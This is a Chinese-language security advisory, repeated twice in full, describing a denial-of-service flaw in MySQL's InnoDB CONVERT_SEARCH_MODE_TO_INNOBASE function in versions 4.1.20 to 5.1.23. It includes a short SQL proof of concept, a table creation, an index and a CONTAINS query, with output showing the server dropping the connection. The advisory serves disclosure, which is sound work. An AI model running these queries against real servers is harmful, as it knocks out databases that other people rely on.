MySQL Server是一款开放源代码的数据库程序。<br /> MySQL Server InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE函数存在输入验证问题,远程攻击者可以利用漏洞对服务程序进行拒绝服务攻击。<br /> 提交如下的查询,可导致MySQL服务器崩溃:<br /> mysql> CREATE TABLE `test` (<br /> `id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,<br /> `foo` text NOT NULL<br /> ) ENGINE=InnoDB DEFAULT CHARSET=latin1;<br /> Query OK, 0 rows affected<br /> mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');<br /> Empty set<br /> mysql> ALTER TABLE test ADD INDEX (foo(100));<br /> Query OK, 0 rows affected<br /> Records: 0 Duplicates: 0 Warnings: 0<br /> mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');<br /> ERROR 2013 : Lost connection to MySQL server during query<br /> <br /> MySQL AB MySQL 5.1.23 MySQL AB MySQL 5.1.17 MySQL AB MySQL 5.1.16 MySQL AB MySQL 5.0.44 MySQL AB MySQL 4.1.20 目前没有详细漏洞细节提供: <a href="http://www.mysql.com/" target="_blank">http://www.mysql.com/</a>
MySQL Server是一款开放源代码的数据库程序。<br /> MySQL Server InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE函数存在输入验证问题,远程攻击者可以利用漏洞对服务程序进行拒绝服务攻击。<br /> 提交如下的查询,可导致MySQL服务器崩溃:<br /> mysql> CREATE TABLE `test` (<br /> `id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,<br /> `foo` text NOT NULL<br /> ) ENGINE=InnoDB DEFAULT CHARSET=latin1;<br /> Query OK, 0 rows affected<br /> mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');<br /> Empty set<br /> mysql> ALTER TABLE test ADD INDEX (foo(100));<br /> Query OK, 0 rows affected<br /> Records: 0 Duplicates: 0 Warnings: 0<br /> mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');<br /> ERROR 2013 : Lost connection to MySQL server during query<br /> <br /> MySQL AB MySQL 5.1.23 MySQL AB MySQL 5.1.17 MySQL AB MySQL 5.1.16 MySQL AB MySQL 5.0.44 MySQL AB MySQL 4.1.20 目前没有详细漏洞细节提供: <a href="http://www.mysql.com/" target="_blank">http://www.mysql.com/</a>